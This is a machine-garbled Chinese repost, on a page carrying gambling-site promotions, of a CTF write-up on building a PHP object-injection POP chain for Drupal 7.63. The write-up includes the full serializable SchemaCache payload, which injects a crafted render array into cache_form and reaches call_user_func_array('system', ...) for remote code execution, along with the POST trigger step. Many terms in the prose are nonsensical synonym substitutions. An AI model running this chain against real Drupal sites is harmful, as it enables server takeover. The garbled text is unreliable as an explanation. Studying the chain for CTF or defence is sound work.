CTF写作:庞杂的Drupal POP链 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CTF写作:庞杂的Drupal POP链

申博_新闻事件 申博 189次浏览 已收录 0个评论

CTF写作:庞杂的Drupal POP链

Insomni’hack掌管的近来的Capture-The-Flag锦标赛应战参与者为Drupal 7制造进击有用载荷。这篇博文将展现我们的解决方案,用于带有庞杂POP小工具链的PHP工具注入。

关于应战

Droops应战包孕一个装置Drupal 7.63 的修正版本的网站应战的建立者在Drupal装置中添加了一个Cookie,个中包罗一个PHP序列化字符串,然后在长途服务器上举行反序列化,从而致使PHP Object Injection破绽。找到cookie异常简朴,应战很显着:为Drupal寻觅和制造POP链。

若是您不熟悉PHP工具注入,我们建议您浏览我们关于PHP工具注入基础学问的博客文章

Drupal POP链到Drupalgeddon 2

我们在Drupal源代码中发明了以下POP链,它影响了它的缓存机制。经由过程POP链,可以或许注入Drupal缓存并滥用致使Drupalgeddon 2破绽的雷同功用浏览此博客文章不须要相识此破绽,因为将诠释每一个相干步调。

POP链是二阶长途实行代码,这意味着它包罗两个步调:

  1. 注入衬着引擎运用的数据库缓存
  2. 运用衬着引擎和Drupalgeddon 2

注入缓存

DrupalCacheArrayincludes/bootstrap.inc完成析构函数和一些数据写入到该要领的数据库缓存set()这是我们小工具链的切入点。

 1 2 3 4 5 6 7 8 91011121314
  /**  * Destructs the DrupalCacheArray object.  */
  public function __destruct() {
    $data = array();
    foreach ($this->keysToPersist as $offset => $persist) {
      if ($persist) {
        $data[$offset] = $this->storage[$offset];
      }
    }
    if (!empty($data)) {
 $this->set($data);     }
  }

set()要领现实大将cache_set()运用$this->cid$data和来挪用Drupal的函数$this->bin,这些函数都受进击者的掌握,因为它们是注入工具的属性。我们假定我们如今可以或许将恣意数据注入到Drupal缓存中。

 1 2 3 4 5 6 7 8 91011121314
  protected function set($data, $lock = TRUE) {
    // Lock cache writes to help avoid stampedes.     // To implement locking for cache misses, override __construct().     $lock_name = $this->cid . ':' . $this->bin;
    if (!$lock || lock_acquire($lock_name)) {
      if ($cached = cache_get($this->cid, $this->bin)) {
        $data = $cached->data + $data;
      }
 cache_set($this->cid, $data, $this->bin);       if ($lock) {
        lock_release($lock_name);
      }
    }
  }

为了弄清楚这个假定是不是属实,我们最先深切研究Drupal缓存的内部构造。我们发明缓存条目存储在数据库中。每种缓存范例都有本身的表。(表单缓存,页面缓存等。)

 1 2 3 4 5 6 7 8 910111213141516
MariaDB [drupal7]> SHOW TABLES;
+-----------------------------+
| Tables_in_drupal7           |
+-----------------------------+
...
| cache                       |
| cache_block                 |
| cache_bootstrap             |
| cache_field                 |
| cache_filter                |
| cache_form                  |
| cache_image                 |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
...

经由一番发掘,我们发明表名相当于$this->bin这意味着我们可以或许设置bin为任何缓存范例并注入任何缓存表。然则我们能做些甚么呢?

下一步是剖析风趣条目及其构造的分歧缓存表。

 1 2 3 4 5 6 7 8 910
MariaDB [drupal7]> DESC cache_form;
+------------+--------------+------+-----+---------+-------+
| Field      | Type         | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+-------+
| cid        | varchar(255) | NO   | PRI |         |       |
| data       | longblob     | YES  |     | NULL    |       |
| expire     | int(11)      | NO   | MUL | 0       |       |
| created    | int(11)      | NO   |     | 0       |       |
| serialized | smallint(6)  | NO   |     | 0       |       |
+------------+--------------+------+-----+---------+-------+

比方,该cache_form表有一个名为的列cid提示一下,个中一个论点cache_set()$this->cid我们假定以下:$this->cid映射到cid缓存表列,该列设置在$this->bincid是缓存条目标症结,data列只是$data参数cache_set()

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

为了考证一切这些假定,我们在当地建立了一个序列化的有用负载,要领是在build.php文件中建立一个类,并在我的测试Drupal设置中对其举行反序列化:

 1 2 3 4 5 6 7 8 910111213
class SchemaCache {
    // Insert an entry with some cache_key     protected $cid = "some_cache_key";

    // Insert it into the cache_form table     protected $bin = "cache_form";

    protected $keysToPersist = array('input_data' => true);

    protected $storage = array('input_data' => array("arbitrary data!"));
}
$schema = new SchemaCache();
echo serialize($schema);

我们在SchemaCache这里运用这个的缘由是因为它扩大了抽象类DrupalCacheArray,这意味着它不能本身实例化。对此数据举行反序列化会致使cache_form正在建立表中的以下条目

123456
MariaDB [drupal7]> SELECT * FROM cache_form;
+----------------+-----------------------------------------------------------+--------+------------+------------+
| cid            | data                                                      | expire | created    | serialized |
+----------------+-----------------------------------------------------------+--------+------------+------------+
| some_cache_key | a:1:{s:10:"input_data";a:1:{i:0;s:15:"arbitrary data!";}} |      0 | 1548684864 |          1 |
+----------------+-----------------------------------------------------------+--------+------------+------------+

运用注入的缓存数据来猎取长途实行代码

因为我们如今可以或许将恣意数据注入任何缓存表,我们最先搜刮Drupal运用缓存的体式格局,可以或许用来猎取长途代码实行。有点搜刮后,我们有时发明了以下Ajax回调,这可以或许经由过程向URL的要求被触发:

1234
function ajax_form_callback() {
  list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
 drupal_process_form($form['#form_id'], $form, $form_state); }

ajax_get_form()函数内部用于cache_get()cache_form表中检索缓存条目

12345
 if ($cached = cache_get('form_' . $form_build_id, 'cache_form')) {     $form = $cached->data;
  ...
 return $form;  }

这很风趣,因为这意味着可以或许将恣意情势的衬着数组传递给drupal_process_form()如前所述,Drupalgeddon 2破绽滥用了这一功用,因而可以或许经由过程将恣意衬着数组注入衬着引擎来完成代码实行的能够性很高。

在个中drupal_process_form(),我们发明了以下代码行:

1234
  if (isset($element['#process']) && !$element['#processed']) {
    foreach ($element['#process'] as $process) {
 $element = $process($element, $form_state, $form_state['complete form']);     }

这里,$element指的是$form接收到的via cache_get(),意味着可以或许恣意设置数组的键和值。这意味着可以或许简朴地设置恣意process#process)回调并运用render数组作为参数实行它。因为第一个参数是一个数组,因而不能够简朴地直接挪用函数system()所须要的是一个将数组作为输入致使RCE的函数。

这个drupal_process_attached()功用看起来很有愿望:

 1 2 3 4 5 6 7 8 91011
function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
...
 foreach ($elements['#attached'] as $callback => $options) {     if (function_exists($callback)) {
 foreach ($elements['#attached'][$callback] as $args) {  call_user_func_array($callback, $args);       }
    }
  }

  return $success;

因为一切数组键和值都可以或许恣意设置,因而可以或许经由过程恣意参数挪用恣意函数call_user_func_array(),这会致使RCE!

这意味着终究的POP链以下所示:

 1 2 3 4 5 6 7 8 9101112131415161718192021222324252627
<?php
class SchemaCache {
    // Insert an entry with some cache_key     protected $cid = "form_1337";

    // Insert it into the cache_form table     protected $bin = "cache_form";

    protected $keysToPersist = array(
        '#form_id' => true,
        '#process' => true,
        '#attached' => true
    );

    protected $storage = array(
            '#form_id' => 1337,
            '#process' => array('drupal_process_attached'),
 '#attached' => array(                 'system' => array(array('sleep 20'))
            )
    );


}

$schema = new SchemaCache();
echo serialize($schema);

剩下要做的就是运用天生的序列化字符串触发PHP Object Injection破绽,然后发出POST要求并将POST参数form_build_id设置1337为触发RCE。

结论

POP链通常会变得越发庞杂,须要更深切的运用学问。但是,这篇博客文章的目标是证实纵然没有显着的一阶POP链存在,依然可以或许运用。若是我们不知道drupal的衬着API在曩昔运用了很多回调并且有破绽,我们能够就不会发明这个特定的POP链。或许,当没有显着的POP链时,深切的PHP学问也可以或许致使事情POP链。存在另一个POP链,一个工具实例,自觉XXE到文件读取到SQL注入到RCE。保罗·艾克斯(Paul Axe)写了这个POP连锁店,可以或许在这里找到我们还要谢谢创作者为此制造了这个和其他惊人的应战Insomni’hack CTF 2019。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CTF写作:庞杂的Drupal POP链
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址